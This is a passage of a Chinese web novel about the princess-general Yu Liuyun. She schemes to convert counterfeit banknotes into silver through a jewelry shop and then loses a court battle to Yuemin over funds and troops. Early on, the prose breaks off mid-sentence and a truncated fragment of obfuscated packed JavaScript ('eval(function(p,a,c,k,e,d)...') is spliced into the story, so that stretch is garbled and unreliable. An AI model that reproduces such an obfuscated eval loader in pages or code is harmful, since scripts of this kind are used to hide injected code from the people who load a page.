“他?”晋二娘皱了皱眉头,“王爷别消遣小妇人了。那小子是个实心眼儿,生意上的事,他只知道皮毛,王爷的大买卖交给了他,肯定会赔本。他赔了本,小妇人就要照单赔给王爷,到时候就是卖了鼎兴也赔不起。” 玉旒云斜睨了她一眼,带着几分冷光:“你究竟是不放心他给我办事,还是根本不想他给我办事?” 晋二娘一寒,暗骂自己糊涂,怎么能因为几次和颜悦色地对话就忘记玉旒云是怎样的一个人?赶紧道:“小妇人怎么敢。我们家梁新能给王爷办差,是他的福分。但我实在是怕他年少无知,坏王爷的大事。” 玉旒云笑了笑:“他年少无知,你铺子里就没有能够提点他的人么?记得当日我会见票业各大财东,你说什么扬长避短,大吹大擂用人之道,不会真的到了用人的时候,你连一个合适的人都没有吧?” 晋二娘的三角眼又恢复了柜台上的精明:“王爷得要先告诉你想做什么事,我才好看看店里有没有能派得上用场的人。” “难道你还猜不到么?”玉旒云道,“这么多的户部宝钞,如果只是拿到楚国境内去兑换,很容易引起怀疑,当然是开办一间商号买进卖出,才可以掩人耳目。如今印出来的宝钞就是本金,我希望到八月底的时候能够拿回二十万两现银,其他如果还有赚,那就是你鼎兴银号的——你看做什么生意能够达到我的目的?” 一个月的时间要将二十万假银票全部神不知鬼不觉地变成现银,这可不是件容易事。晋二娘想了想,才道:“要我看,只有做黄金珠宝买卖,而且不能怕赔——反正王爷这几乎就是无本生意,哪怕我用四十万两假银票给你换二十万两银子回来,还是有赚的。” 玉旒云想想,也对,便道:“那么黄金珠宝买卖你打算怎么做?” 晋二娘道:“只要能够到达楚国,就先买下一间黄金珠宝铺子来,然后大肆搜购珠宝,这时,一部份的假银票就可以变为珠宝,而人人都知道我们在搜购珠宝需要现银,我们再去票号兑换宝钞也就不足为奇。这样,很快就可以把剩下假银票统统兑换成现银。这时候,如果珠宝能卖出去,自然很好,若卖不出,我们就假装周转不灵,将珠宝贱价变卖,自然又变成现银了。” 听起来倒是不错。玉旒云知道晋二娘做生意很有一手——用人之道,贵在扬长避短,自己何必来多操这个心?因道:“好。我不管你是买卖珠宝还是田产,只要能把假银票给兑换回来,反正就是你鼎兴的钱,我会让票业司来跟你借。其中一部分有借有还,就是你的报酬,另一部分,你很会做人,应该知道怎么办。” “捐款赈灾嘛——伪造宝钞始终是一件缺德事,怎么能不做善事来补偿?”晋二娘道,“不过,伪造楚国户部官票宝钞,在西京算不得什么,但是到了楚国可是要掉脑袋的。就算我有做生意的人才借给王爷用,可身为樾人却到楚国做买卖,本身就引人怀疑,恐怕还没做什么就已经被盯上,更何况樾人怎么可能掌握那么多楚国宝钞?这不是明摆着要人家来查我们么?” “这个你可以放心。”玉旒云道,“你出几个懂生意的人做掌柜,告诉我的人要说什么,买什么,卖什么。一切要抛头露面的事,自有我的人打点。至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玉旒云接着道:“本王当然不想自己没好日子过,也不想你没有活路走,所以本王才一定要提携梁新——你想一想,鼎兴银号面临危机,少东家决心开创一番新事业。虎父无犬子,他本来以长随的身份跟梦泉南下办事,却正好见到了绝佳商机,于是与西瑶商人合作,短短时间就获得巨额利润——这是不是可信得多?” “这……”晋二娘果然无言以对,不知道是该佩服玉旒云考虑周到还是该恨她阴险狡诈。“原来只是要我们梁新作幌子。”她道,“王爷说的提拔是这样提拔吗?小妇人可看不出这对他将来的前途有什么好处。” “怎么没有好处?”玉旒云道,“起码这以后商场上的人都知道了他的名字,将来他继承家业,谁能不给他面子?何况,他还有你这个好二娘悉心教导,又有我这个内亲王做靠山,还怕将来他不雄霸票行?说不定票业司郎中他也能做上呢!” 晋二娘清楚,这些承诺不能全信,玉旒云坚持要让梁新陪在石梦泉的身边,重要目的之一就是继续以他为人质。所以,哪怕玉旒云提出的计划对鼎兴毫无利处,也由不得她不答应。当下道:“王爷为我们梁家想的这么周到,小妇人一定尽心尽力为王爷做事。不知我家梁新南下之前能不能回来一趟?她娘很惦记他呢!” 玉旒云微微一笑:“当然能。你只管先准备他南下所需的一切,等你把人挑好了,宝钞印够了,让梁夫人为儿子也收拾好行装,本王自然安排梁新回来拜别你们。” 中元节后,夏天的日子流逝得飞快。玉旒云照旧上朝、下朝,面上和地下,打点着她的两套事情。各部官员会同十二大财东商议拟定了票业律草案,交到玉旒云手上时,七月已经过尽了。玉旒云并没有时间仔细研究,因为石梦泉奉旨到贺城县修葺祖坟并建立武备学塾,钦天监定下八月初三为吉日,庆澜帝委派玉旒云送行到戚县。 八月初一晚上,玉旒云就按照和晋二娘的约定,带了梁新回到梁家辞别亲人。梁新之前说喜欢学武,但是真正开始练了,叫苦不迭,成日闷在石梦泉家中也无聊得很,得到南下的机会当然喜不自禁。对于这个兑换假银票的事,他丝毫不知。玉旒云告诉他,自己有一批西瑶朋友专做楚樾间的贸易,将樾国特产贩卖到楚国,然后再把银子带回樾国来;如今西瑶人选择鼎兴来存钱,而鼎兴在南方还没有开设分号,所以晋二娘决定派梁新带几个坐柜一起到贺城县开设分号。 梁新本来就头脑简单,玉旒云早就在军中养了一批细作,本来都专学楚国方言,自玉、石二人西瑶之行后,玉旒云洞悉西瑶野心,即令细作们找各地西瑶商号模仿西瑶口音,目下这批细作已经学得惟妙惟肖。他们又带了些西瑶特产作为礼物送给梁家各位。梁新只顾着好奇,哪里还关心这些人究竟去楚国贩卖什么?更加不会知道他的二娘已经把四十万两假银票交给了这些人。 晋二娘挑选的几个坐柜玉旒云也都一一见过了。想来行动的紧要性,晋二娘已经同他们交待过,玉旒云也就不来再做恶人。倒是看到晋二娘身边跟着的小丫鬟,知道那就是全友的孙女儿,便笑着问了她的名字。原来也很有新意,名叫“全心”。玉旒云便道:“你家少爷很有‘良心’,而你就‘全心全意’对他,真是一对璧人。晋二娘,不如就让这个小姑娘跟着南去,伺候梁少爷的起居吧?” 此言一出,羞得这一对少男少女恨不得地上裂条缝儿好钻下去。不明就里的梁夫人也道:“妹妹,我瞧着也好。新儿长这么大,也没出过远门,原是有个人照应的好。” 晋二娘却清楚玉旒云的意图:这个铁血将军冷面王爷若不把鼎兴所有关键人物牢牢捏在掌心里,是决不罢休的。即使是突然,也要争取一下,因道:“姐姐,你忘记老爷生前说过,新儿成年之前只能有小厮不能有丫鬟么?都要像莫家、柳家的那些少爷,没娶媳妇倒先弄个人在房里,可要学坏的。” 梁夫人不知道晋二娘的苦心,道:“你怎么看定了人家全心就只能做通房丫鬟做姨奶奶?她怎么就不是做少奶奶的料了?全师傅也在我们家这么多年,全心就像我们自家的女儿一样。何况我们梁家也是白手起家,哪里就有什么门第之见?全心,夫人给你做这个主,你就跟了少爷去,等他把王爷的差事办妥当了,成了材,就给你们两人把亲事办了。” 梁新和全心二人听了这话,不由得羞红了脸。晋二娘却暗暗跺脚着急。玉旒云哈哈笑道:“梁夫人真是明白事理。不知道本王算不算得一个媒人,到时候有没有喜酒喝?” “王爷肯赏脸,是我们梁家的福气。”梁夫人道,“还要多谢王爷提拔犬儿呢。” “不必,不必。”玉旒云笑看了晋二娘一眼,继续同梁家人把盏言欢。过了一会儿就说时辰已晚,带着梁新、全心、晋二娘挑选的四名坐柜,以及自己的手下离开。 梁家的人,她自然都送到石梦泉处,而自己的细作们则带回府中再次确认了行动的细节,直到确定所有能想到的情况都有了应对,才让他们去休息。当时已经快到五更天了,与其睡不沉整天无精打采,倒不如索性熬个通宵。于是剔亮了灯,叫坐夜的重新沏一壶浓茶来,推敲那票业律的草案,一直看到天色大白要出门送行的时候。 便换上她全副内亲王的服色,等下人回报仪仗备好,就到城门口去见石梦泉。 她这次是替皇帝送行,所以必须隆重其事,一切都要依足规矩,石梦泉要行君臣大礼,而她则要训示“用心办差,勿负圣恩”等等场面上的话。大队人马起行向南,一直走出了五里地,礼部的官员先调头回城,两人才能说些私己之话。 石梦泉看她面带倦容,知道必然一夜未眠,因道:“整个计划你已经布置得很妥当了,我在南方也会帮你看着,总这么不休息,当心京里出事,你不够精神应付。” 玉旒云笑道:“我有什么应付不来的?倒是你,嘿嘿,我觉得你会出事。” 石梦泉不解道:“为什么?” 玉旒云道:“你不觉得每次我们两个分开行动你就会出点事吗?去年在大青河你大病一场,害人家担心得要死!” 听她这样说,石梦泉不禁心神荡漾,记起那时她曾明令过自己绝对不能死,绝对不能丢下她一人,后来又数次说过要他永远陪伴身边之言,虽然无关私情,却也仿佛生死盟约。此生此世,得她如此相待,真是死而无憾! 玉旒云见他突然失神,伸手过去在他眼前晃了晃:“你做什么?还没分开,你就要出事给我看么?” “哪儿有!”石梦泉道,“谁说每次分头行动我就出状况?去年大青河只是被毒烟熏着了而已。前年你让我去南方七郡督粮,我可什么事也没出,还抓住了康申亭这只大老鼠。” 玉旒云“扑哧”一笑:“你还好意思说前年没遇上大麻烦?你喝了那么多黄连水都忘记了?还是因为那是人家亲手整治的,再苦你喝起来都甜如蜜糖?所以你也不觉得她是麻烦了?” 知她说的是愉郡主,石梦泉道:“果真,这个麻烦是够大的,大到连王爷都老要挂在心上。看来她给王爷惹得麻烦,比给我惹得麻烦多。” 玉旒云一愣:“什么……啊,那可不是么?她追你追到大青河前线,是没有烦着你,都烦着我了呢!她又时不时送你点儿这个那个的……呶,那个荔枝,也是只吃坏了我。果然她给我惹的麻烦比给你惹的多!” 石梦泉笑着不插话,听她数落愉郡主的不是。却忽然看到玉旒云手一指:“啊呀,说曹操,曹操就到,你看,这个麻烦她又找上门来了!” 石梦泉的脑袋立刻发昏,赶紧顺她所指去看,可是半个人影也不见,才知道是被她耍了,气也不是,笑也不是:“王爷,玩笑不能这么开。当心‘好的不灵,坏的灵’。如果大麻烦真的追上来,死缠烂打要跟我一起去南方,我说不定真把差事办砸了呢!” “那个我可不管。”玉旒云瞪了他一眼道,“你是我的下属,我交代你办差事,你就要给我办妥当了。不管什么原因,出了岔子,我一定会罚你的,绝对不讲情面。” “属下惶恐!”石梦泉夸张地作揖,“不知道王爷要怎么罚下官?” “我当然是罚你……”玉旒云斜睨着他,转了转眼睛,“罚你把大麻烦娶回家去,然后把你们两个远远地派到天塔城去,让你一辈子被她烦死,我好耳根清静!”说着,哈哈大笑,一夹马腹,疾驰向前。 石梦泉愣了愣,清风拂面而来,仿佛把玉旒云的笑声也都吹到了他的身边,像蒲公英的种子,有细小的钩子,粘上了身就再也甩不开。但是他宁愿这样被缠住——不,光是随风吹来的还不够,他要追上去,一路搜集她的笑语。于是,也一扬鞭,策马赶上。 毕竟不像微服楚国时那样自由,两人并没有离开大队太远,就重新放慢了速度,并辔而行。阳光已经失去了盛夏的猛烈,灿烂却又轻松,两人心里都知道前面是一条更难走的路,于是更要抓紧机会享受片刻的愉悦。 “喂,这个给你。”玉旒云突然丢过一个匣子去,“是送给程亦风的礼物。” “什么东西?”石梦泉问。 “自己看看。”玉旒云说着,又解释,“其实是我给那暗桩子的一封信,有关重建细作网络的。我怕叫我们的人带过去,会引人怀疑。所以借还礼的机会,让你这个‘亲信’通过驿站光明正大地传递,反而好。何况,程亦风这个书呆子,他损我,我不损他怎么行?来而不往非礼也!” “这暗桩子本事也够大的,居然在公孙天成的眼皮子下面能送信回来。”石梦泉道,“官票印版也能偷到,实在厉害。”他打开了匣子,见里面果然有秘密通信所用的丝帕,而丝帕包着的,正是程亦风送给玉旒云的那本《论语》,只不过已经被切成了两半,不禁奇道:“这是什么意思?” “他送我一部《论语》要我以圣人之言治天下。”玉旒云笑道,“难道他不知道昔日的一代名相是‘半部《论语》治天下’的吗?好歹他身为大学士,把变法搞得红红火火,怎么也算是一代名相了,应该也是半部《论语》治天下。而我和他打了两次平手,算得不相伯仲,我又怎么会需要一整部《论语》呢?所以,我把这两个半部《论语》送给他,让他先挑,挑剩的那半部再给我。” 真是小孩子脾气。石梦泉道:“可是,人家那半部《论语》是把《论语》分成了上下两部,都还可以读。你这样把书切开两截儿,两截都不能读了。” 玉旒云嘿嘿一笑:“史书上只说是‘半部《论语》’,又没有说是怎样的半部。再说了,程亦风自诩学富五车才高八斗,敢来教训我,他因该够本事读这‘半部《论语》’吧?要是读不通,那就让他告老归田吧。” “好,好。”石梦泉笑笑,“王爷说的都有道理。”他重新将残破的《论语》包好:“放心,一定会交到程亦风手里的。如果真把他激得告老归田,王爷正好一举攻下楚国。” 79. 第 79 章 果然如石梦泉所担心的,“好的不灵,坏的灵”。本来他和玉旒云在戚县分别之后一直平安无事,他还以为这次愉郡主不会再来捣乱了,谁知到了贺城县才发现这小姑娘已经先一步来到——看来是庆澜帝派他南下的消息一发出,这小姑娘就起程了,真是杀了他一个措手不及。他给玉旒云的书信中忍不住诉苦道:莫非赵王一家忙大事忙得太起劲,连女儿出走也没有发现吗? 玉旒云见信不禁冷笑:悦敏知道妹妹是个草包,通过她探听消息大概是不可能的,估计是特意要愉郡主去帮点儿倒忙!便回信给石梦泉:“既然她这么想做你们石家的媳妇,就让你母亲和姑姑天天督促她给你父亲诵经上香吧!” 究竟石梦泉是怎么处理的,到了中秋的时候玉旒云还没有收到信。光是票业司和皇城防卫,就已经够她忙得了,还要时时提防赵王来个“明修栈道暗度陈仓”——她命驻扎在东台大营的慕容齐等借“协助顺天府剿灭土匪”为名,轮流在京师附近巡逻并进行剿匪演习,实际是查探赵王是否暗中调人来京。不过一直到中秋为止,一切显得风平浪静。 悦敏似乎真的在积极处理亏空与借贷的问题。票业律草案出台,首先就是提出了关于依然拖欠户部银两的官员的处理问题,规定如无特殊情况,欠款按每一百两每月利三两追讨,如果官员不来和票业司协定还款日期,则一律按照三年本利还清;其三年中,若该官员不主动来缴纳欠款,则户部将从其俸禄中扣除;三年不清者,抄家查办。此律施行之后,许多官员纷纷主动上门把力所能及的那部分还掉,甚至大出玉旒云意料,连廉郡王等皇亲贵族也都还了钱。不久,因为票业律颁布传邮天下,地方上也开始交还亏空,形势一片大好,眼见着甘州赈灾的银两就可以凑齐。玉旒云早将之前追回的二十万两发出来,令采购粮食、衣服、药物运往甘州。后面的这二十万两乃是为了安置流民——每次有天灾人祸便会有许多百姓逃难出来不再回归,而别的州县又容纳不下这么多人口,少不得需要朝廷出钱奖励垦荒,让出逃的难民去北方开拓新的土地。如今对待甘州难民,玉旒云也没有打算改变老政策。只是,在中秋那一天,突然有消息传来:在北疆无主之地拓荒的百姓被蛮族人无理指责侵犯其领地,因而遭到了血腥屠杀,死亡约有五千人。 适逢朝会,玉旒云一听到这个消息,心中立刻一闪:什么地方都不出事,偏偏就是北疆,莫非赵王是要借平定战乱为名,乘机举兵叛变? 思念转动的时候,果然那边刘子飞就出来提议让赵王父子挂帅出征,说什么蛮族非他二人不能震慑。玉旒云怎能容许这样大危机出现,立刻反对,说,阻止蛮族犯境并保护边疆百姓是北疆镇守抚远将军陈源的指责所在,应该责令他立刻消灭敌人,无谓让赵王奔波。刘子飞却自有他的道理:蛮族能够屠杀五千樾国平民,可见陈源玩忽职守——说不准他根本就通敌叛国,如何还能委以重任?历来北疆只有在赵王亲自镇守时才能保寸土不失,现在蛮族卷土重来,理应由赵王出马。 刘子飞在朝堂上辩论很少有理有力,像这样两者兼而有之的,肯定和上次反对养老税一样是出自赵王父子的授意。玉旒云更加不能让奸计得逞,竭力反对。在议政处磨练了一段时间,她和大臣论战的本事明显有了进步,很快就把刘子飞准备好的词儿全都驳倒了。然而,廉郡王等因亏空事件而恨透了玉旒云的亲贵大臣全一条声地支持刘子飞。他们有的深谙抗辩之道,有的擅长撒泼耍赖,搞得玉旒云头晕脑胀肝火上升。好在她也有一批来自户部和兵部的支持者,都认为比起劳师动众让赵王前往北疆,还是责令陈源迅速退敌比较节省,毕竟,灾后安置的银子还没凑齐呢,哪里开销得出军费来? 双方你来我往,舌战不止,一直吵到那日快散朝也没结果,最后终于庆澜帝忍不住在龙椅上拍案道:“诸位爱卿,朕的头都快被你们吵裂了!现在朕不想听你们几十个人一起说道理——三皇叔、永泽公、玉爱卿你们跟朕到御书房,人少些话也没那么杂,这事今天一定要定下来。”接着便逃也似的下朝去了。 他前脚去,所传召的三个人后脚就跟。毕竟玉旒云一个人行动方便,走得快些,又是领侍卫内大臣,出入各门少人盘查,便先一步到了御书房。那时庆澜帝椅子还没坐热,茶也还没喝进嘴里,听见报“内亲王到”,只好端着茶杯叫“宣”。见玉旒云跨进门来弯腰欲行礼,他忙叫住:“免了那些规矩吧。玉爱卿,你倒是明白地跟朕说一句——趁着皇叔还没到——让他去北疆带兵有什么害处?他不在眼前,朕就没那么慌啊!顶好连永泽公也一起支走,朕就睡几晚安稳觉。” “万岁,这可使不得!”玉旒云道,“蛇虫鼠蚁的确应该远远地驱逐以图清净,但是豺狼猛兽非得牢牢地绑在身边才能保证它们不玩样。”当下就把赵王北方平乱可能的阴谋和庆澜帝说了一回,吓得这位天子脸色发青,连连道:“啊呀,不是爱卿缜密,朕就着了他们的道儿!还好,还好——不知玉爱卿有什么办法阻止他们?” “能有什么办法?”玉旒云道,“朝会上大臣们再怎么争执,最后也要皇上决断。只要一会儿他们来了,你态度坚决,要求陈源先行退敌,如果陈源不敌再作他想,谅赵王爷和永泽公也不敢硬争。真要出了什么状况,里里外外的侍卫不都保护着皇上么?” “是,是,是。”庆澜帝连连点头,“幸亏爱卿你先他们一步到来,要不然朕可真是稀里糊涂被他们算计了。” 两人说了一阵子话,估计赵王父子怎么也该赶到了,可是门口依然不见通传,心下不由都奇怪。又等了约莫一顿饭的工夫,这才听到太监报“赵王爷、永泽公求见”。却不知耽搁了这么久又搞什么阴谋诡计?玉旒云当即亲自上前开门相迎,实际是给守护在门外的侍卫使了个眼色,叫他们小心护卫。 赵王和悦敏进得殿来,都依礼跪拜。玉旒云瞥了他们一眼,只见满头大汗,好像还真是跑到御书房来的。暗想:这可真是“此地无银三百两”了,分明是不想人知道你们路上做了别的勾当,看我拆穿你们! 岂料,她还没发问,赵王倒先开口了:“老臣惶恐,万岁急诏,臣父子二人却来迟了,请万岁降罪。” “皇叔说哪里话。”庆澜帝道,“必定是路上遇到急事有所耽误,现在既然来了,也还是一样。快快把北方用兵之事说定。” “正是,”玉旒云也插话,“王爷和永泽公是刘将军推举的带兵之人,也算是争论的正主儿,不过方才朝堂上倒没听到您二位发表高见——是才又是什么大事把你们缠住了,不能赶来见皇上?” “如今还能有什么别的大事?”悦敏道,“一是清亏空,二是赈旱灾,三是平北患。内亲王你不是交代我追缴亏空么?方才是有银两运到了,所以……” “那事情也总有个轻重缓急。”玉旒云咄咄逼人地打断,“银两迟一刻收又不会不见,但是北方的蛮族一刻不解决,就会有更多百姓受害。” “这个何须内亲王来教训?”悦敏道,“老百姓的性命自然是比什么都紧要。我也正是……” “好啦,不要吵啦!”庆澜帝道,“从朝会上朕就听大家吵到现在。这些没用的话不必说了——皇叔,永泽公,你们两个先来说,北方抗击蛮族的事,朕就交给陈源负责,如何?叫他立下军令状,打不退蛮族,朕要他的脑袋,行不行?他是你们提拔的,总不至于你们也不信他吧?还用得着你们亲自上前线去吗?” “万岁,”赵王上前道,“如果万岁觉得臣父子二人非上前线不可,我二人自然万死不辞。不过,臣以为陈源机智勇猛,堪当大任,一定可以击溃敌人。” 他竟然说出这样一番话来,玉旒云和庆澜帝都不免有些吃惊。庆澜帝呆了片刻,才道:“皇叔的意思是……你……你不想亲自到北方去?” 赵王垂着头,玉旒云一点儿也看不见他的表情。“臣老迈,早就想在家中享享清福了。”他道,“臣又只有敏儿这一个儿子,若非迫不得已,怎么想让他去冒险?” “哎呀,这还不好办……”庆澜帝差点儿开心得笑了起来,赶忙忍住了,又问:“那方才在朝堂上你怎么不说?朕也不是不近人情的,体谅你父子二人为朝廷出生入死多年,你们有请求,朕一定答应——刘子飞那么热心,其实派他去也是一样的。” “蒙万岁关心,臣感激涕零。”悦敏道,“方才在朝堂上臣父王和臣不敢表态,实是有下情未禀。” “是什么事?”庆澜帝问,“说来朕听。现在这里都是自家亲戚,没什么说不得的。” “是。”悦敏毕竟不及父亲老辣,忍不住迅速地瞥了玉旒云一眼,让玉旒云立刻嗅到了阴谋的味道。“其实陈源在北方有此疏忽,事出有因。”悦敏道,“因为……因为户部亏空,而之前内亲王东征又花费太大,北方的士兵已经有两个月没有拿到军饷了。西京八月秋风送爽,北地八月却已经需要穿棉衣。可兵部说银两紧张,今年的冬衣冬被也都没有置办。士兵们又冷又饿,病着甚众,怎么能够好好守卫?就算是没病的难免闹起情绪来。陈源是新提升上来的将军,遇到如此情况,有些压不住也是正常。” 战报才传来,你们就连哭穷喊病的情况都知道得一清二楚,玉旒云想,这还不是编的?且看你们还有什么后话。于是她冷冷地看着,也不插话。 悦敏接着道:“臣方才在朝会上一直不敢表态,就是因为早先接到过陈源的信,知道他的种种难处,猜测此次的失利必然是由此而致。臣心中矛盾。一方面,也许臣和臣的父王跟这些士兵多年相处,能够晓之以理动之以情,重振士气。而另一方面,正像内亲王所虑,毕竟臣家父子二人从西京北上,既耗时,又费钱,决不是最好的办法,所以臣也不敢请缨。” “那你现在有办法了?”庆澜帝问。 悦敏一顿首:“托皇上的洪福。是才南方七郡总督黎右均派人押送的银两已经抵达户部银库。这笔银子除了有南方七郡追讨回来的亏空,还有当地商家按照新的票业律借给朝廷的银子,另有一批绅士捐款赈济甘州。有了这笔银子,北境兵士的军饷和冬衣就有了着落。相信这个消息传了过去,他们一定精神振奋,奋勇杀敌,区区蛮族流寇,何足为惧?” 搞什么鬼?玉旒云简直被悦敏弄糊涂了。 而悦敏还继续说下去:“况且,臣以为,发逃难之流民开拓荒地固然是好事,然而开拓了北方却荒废了原来的土地和没开垦新地有什么分别?况且,蛮族一日不彻底铲除,北境一日就不能彻底太平,百姓在边境活动毕竟没有安全保障。” “说的也是。”庆澜帝道,“永泽公有何高见?” “臣以为,百姓之所以愿意北上拓荒,原因无非两个。”悦敏道,“一,朝廷奖励垦荒;二,他们原本的居所十年九灾。不过其实,世上真正十年九灾的土地并不多,如果治理得当,一样可以成为鱼米之乡。反之,如果像甘州这样,每次旱灾过后就听之任之,迟早会变成沙漠的。” 玉旒云眯起了眼睛:这全然是顾长风的调调儿啊!鬼才相信悦敏关心百姓疾苦!她当下笑了笑,问道:“永泽公说的大有道理。不知永泽公打算怎么治理甘州,使之不致成为不毛之地?” 悦敏道:“只是有个设想,说出来给皇上和内亲王听听,集思广益嘛——甘州过去也算是丰饶之地,这几年常有旱情,都是因为境内的漓水断流魏湖干涸所致。而这又是因为当年太祖皇帝攻打在大青河上筑起一道水坝,使冀州段河水逆流,河畔的叠翠山山体下滑,大青河改道——这造成了冀州和魏州年年洪水泛滥,而甘州漓水的水量就越来越小,终于断流。如果能够重新修挖漓水河道,让魏湖蓄水,则不仅可以解决甘州旱灾的问题,连翼州、魏州的洪灾也可以一劳永逸地治好,岂不是两全其美么?” “可不是!”庆澜帝脱口赞同,又看看玉旒云是何反应。 玉旒云越听越觉得奇怪,盯着悦敏:“永泽公,着么大一项工程,怎么一时半会儿就计划出来了?” 悦敏微微一笑:“其实也不是临时计划的。早在甘州灾情第一次报上朝廷时,我就已经有了这个设想——就像内亲王的票业司也不是一夜之间想出来的嘛。我之前不敢提出这建议,是怕花费太大——不过仔细算算,花费说大也不大。我看不用征调民夫了,就让逃难的百姓回乡参与,像奖励垦荒一样奖励他们,还怕他们不肯吗?谁想背井离乡呢?如果人力不够,内亲王东征带回来的兵不是也正要回驻地么?养兵千日用在一时。反正现在他们的驻地也没什么紧要之事,回乡也不见得能帮上他们家里什么大忙,倒不如调他们去兴修水利。只要办好了这件事,先前拖欠他们的劳军银子就发给他们。他们也必定欢喜。” 原来是打我那些兵的主意!玉旒云终于明白这对狡猾的父子绕了个大弯是打算干什么了。她冷笑道:“这花费也叫‘说大不大’?永泽公怎么这么阔气起来?南方七郡究竟运来多大一笔银子,你又发军饷又修水利还连那二百万的劳军银子都能发得出?” “不多不少,”悦敏道,“南方七郡刚才押送来了二百五十万两银子。” “什么?”玉旒云差点儿没惊得跳了起来——南方七郡再怎么是天下粮仓,也变不出二百五十万两银子来啊!疑心悦敏也玩那假官票的把戏,她赶紧问道:“是现银,还是银票?” “自然是现银。”悦敏已经露出了难以掩饰的得意,“否则怎么会运到户部银库呢?” 庆澜帝也觉得这“二百五十万两”的数目太过巨大,声音都有些发抖了:“这……其中多少是亏空的……多少是借的,又多少是捐的?” 悦敏道:“方才户部才有人来把消息报告给臣知道,臣因为急着和父王一同来见万岁,并来不及去户部看黎右均的信函。不过黎右均一向公正廉洁,亏空并不多,而南方富庶之地,商贾众多,大家诚心报国,应该是以捐献居多吧。如果万岁想知道确数,臣这就去看看。” “也好。”庆澜帝一边说,一边看看玉旒云。 “臣奉旨总领票业司事务,”玉旒云道,“请万岁派臣与永泽公同去。” “准奏。”庆澜帝似乎也急着想知道这一大笔钱究竟是怎么一回事,就挥挥手。 “万岁!”赵王却踏前一步,“那北境抗击蛮族的事如何决断?” “这……”庆澜帝摸了摸脑袋,“先去看户部那边的银子,反正也花不了多少功夫。如果真是有二百五十万两,就……”当然就只好按照悦敏建议的办了。 玉旒云跟着悦敏赶到户部。其实在路上她就已经猜到数字必然不假,否则悦敏也不敢睁着眼睛说瞎话。到了银库一看,还是免不了吃了一惊,新铸造的官宝整整齐齐,库工正一箱一箱地扛进库去。黎右均送呈户部的书信上说,二百五十万两中只有十万两是官员的亏空,另有十万两是他们新近增收的“脂粉税”,专门向嫖客和老鸨下手,一方面可以筹集资金,另一方面又能够端正风气,乃一举两得之策;余下二百三十万两中五十万两是当地商家们免息借给票业司的,而其余一百八十万两都是当时绅士商贾自愿捐献的。他提到悦敏曾经早先曾经写信到南方,号召富庶之地的民众踊跃捐款赈济甘州,南方七郡之人为悦敏信中之言所感,才能筹出如此惊人之数目——这一细节倒和悦敏称兴修水利早有计划想符,但是也很明显地告诉玉旒云,这个黎右均正是赵王一派。 “银子王爷看到了。”悦敏道,“莫非你要亲自数一回才安心?” 玉旒云被他这态度激得直冒火:早先自己用养老税骗得他们不得不赞同官办票业,如今他们竟然以彼之道还施彼身,用这蛮族入侵之事蒙得自己要调军队去甘州挖河!可恶!实在是可恶! “王爷,兵贵神速。”悦敏还嫌她气得不够,火上浇油,道:“军饷、冬衣就算一时不能发下,这个好消息总要立刻传给将士们知道,也好让他们奋勇抗战。王爷以为派谁去传信比较好呢?”并不要玉旒云回答,他自己又道:“那些兵都是我父王和我带出来的,对我们的话深信不疑,如果我亲自前去,他们肯定士气大振。” “你——”玉旒云瞪着他:这不等于是放他去搬兵了么? “奔波之事总不能让我父王出马吧?”悦敏道,“还是内亲王你不放心我们父子二人,想要亲自去?” 我亲自去了,京师防务怎么办?玉旒云才不上他的当。 悦敏道:“王爷放心。我轻车简从地前往,决不多花朝廷一文钱——虽然现在有二百五十万两银子,但我明白王爷想把钱用在刀刃上。” “轻车简从么?”玉旒云忽然有了对策,“不必了吧,我也不是一毛不拔。其实我看你那句兵贵神速说的一点儿也不错——不仅要迅速出兵,还应该速战速决。你北方的兵不是又冷又饿还病了不少么?不如叫我的骁骑营一营人跟你同去。他们行军速度和你轻车简从也差不多,再说,叫他们去挖河也太浪费了些,不如帮你打赢了蛮族再说后话。” “这怎么行?”悦敏知道玉旒云要骁骑营同去北方是为了监视自己。他也没这么容易着道儿,立刻就推辞:“为了区区几个蛮族流寇劳师动众,我大樾威名何存?再说,王爷的骁骑营未在北方打过仗,不熟悉那里的环境,也不晓得蛮族的优势与弱点,山长水远地跑去,实在不划算。” “咦,要是只会打交过手的敌人,那还有什么用?”玉旒云道,“永泽公莫不是讥讽本王不会带兵?” “岂敢!”悦敏道,“王爷带兵的本事在朝中属一属二,只是……”他笑了笑,压低了声音,低得只有他和玉旒云两个人才能听见:“只是你不识时务,更不自量力。你以为你能算计得过我么?你试试把骁骑营北调的事提到朝会上来跟我吵,看看有多少人会支持你。” 玉旒云阵恨不得一拳打歪他的鼻子,不过在户部库房里厮打成何体统?何况,悦敏说的一点儿也不错——他早就算计得妥妥当当,到了这个节骨眼儿上,玉旒云哪里有反扑的余地? 总是棋差一着!她愤愤地一拳捶在案头的算盘上,一把镏金的铜算盘顷刻被击碎,算珠噼里啪啦滚落一地。悦敏看她越生气,心中就越得意,甚至还有一丝解恨:如果不是玉旒云,博西勒怎么会身陷冷宫呢?当下,他呵呵笑着招呼一边正在点算音量的库工:“你们还不快把算盘珠子给内亲王千岁拣起来?这每一粒珠子可都值二两银子呢!你们不知道内亲王如今替皇上当这个家,最注重节俭吗?” 库工们虽然从不敢介入朝中大臣的争斗,但是眼观耳听,也早就知道这两位钦差有过节:一个是皇上亲信,位高权重,另一个又是议政处无形的首脑,朝中交游广阔,堪比孟尝,无论哪一个都不是普通人得罪得起的。是以,他们看看玉旒云又看看悦敏,迟迟也不敢行动。 悦敏就亲自弯下腰来,拾起一粒算盘珠子:“好吧,他们不捡我来捡。内亲王的如意算盘可贵重着呢——王爷,你说是不是?” 玉旒云盯着那递到自己面前的算珠,刺眼的光芒映着悦敏那得意的笑容,她感觉自己的拳头越捏越紧,指甲都抠到了掌心里,微微的刺痛仿佛提醒她在盛怒中要保持冷静。 躲在路边的野狗,一旦现身,就再也无法藏匿。她想起郭罡讲的那个故事。至少这一次又让她看清了赵王的部署,总好过让他们神不知鬼不觉地发难。只要没到最后关头,她总有机会想办法应付。 是的,一定有办法!她轻轻地咬了咬嘴唇,接着就露出了笑容,接过悦敏递来的算珠,道:“永泽公说得没错,这些都是值钱玩意儿,况且又是户部的公物,丢了可是罪过。没想到我最近练功有成,一不小心就把算盘打坏了——你们先把珠子收集起来,我去和你们管事的说一声,这算盘的修理费从我的俸禄里扣。” 听她这样说,库工们才纷纷趴到地上找算盘珠子。 